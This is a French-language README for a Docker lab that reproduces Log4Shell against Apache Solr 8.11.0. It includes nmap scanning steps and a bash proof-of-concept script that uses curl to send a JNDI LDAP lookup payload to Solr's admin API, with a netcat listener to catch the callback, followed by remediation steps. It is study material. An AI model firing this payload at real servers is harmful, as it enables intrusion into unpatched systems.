
Log4j Vulnerability homelab
Environnement contrôlé dans Docker pour reproduire et étudier la vulnérabilité Log4Shell dans Apache Solr.
solr-lab) : Apache Solr v8.11.0 (vulhub/solr:8.11.0) exécutant une version vulnérable de Log4j.kali-lab) : Container Kali Linux basique avec nmap, curl et netcat préinstallés.Dans votre terminal, lancez l'environnement en arrière-plan :
docker compose up -d --build
docker compose exec -it kali-lab /bin/bash
Dans le conteneur Kali, découvrez votre propre sous-réseau et localisez l'IP d'Apache Solr :
# 1. Voyez votre IP et votre masque de réseau
hostname -I
# 2. Scannez le réseau interne pour trouver l'IP de la cible (port Solr : 8983)
# (Remplacez la sous-réseau ci-dessous selon l'IP obtenue dans la commande précédente)
nmap -p 8983 172.20.0.0/24
Le script poc.sh injecte le payload de lookup JNDI dans le paramètre de l'API d'administration de Solr.
poc.sh)#!/usr/bin/env bash
if [ "$#" -lt 2 ]; then
echo "Uso: $0 <lhost> <rhost> [lport]"
echo "Exemplo: $0 172.20.0.3 172.20.0.2 1389"
exit 1
fi
KALI="$1"
TARGET="$2"
PORT_KALI="${3:-1389}"
echo "[*] Alvo: $TARGET"
echo "[*] Atacante (LDAP): $KALI na porta $PORT_KALI"
echo "[*] Disparando exploit..."
curl -g -v "http://${TARGET}:8983/solr/admin/cores?foo=\${jndi:ldap://${KALI}:${PORT_KALI}/x}"
Toujours dans Kali, donnez la permission au script et exécutez-le en passant les bonnes IP :
chmod +x poc.sh
./poc.sh <IP_DU_KALI> <IP_DU_SOLR> 1389
Que se passe-t-il ici ? Solr traite la requête et tente d'ouvrir une connexion LDAP vers l'IP du Kali sur le port spécifié. Vous pouvez surveiller cette tentative de connexion en ouvrant un écouteur rapide dans Kali avant d'exécuter le script (ex :
nc -lnvp 1389).
Pour corriger la faille dans Log4j 2 :
2.15.0 ou 2.17.1).-Dlog4j2.formatMsgNoLookups=true au démarrage de Java.zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class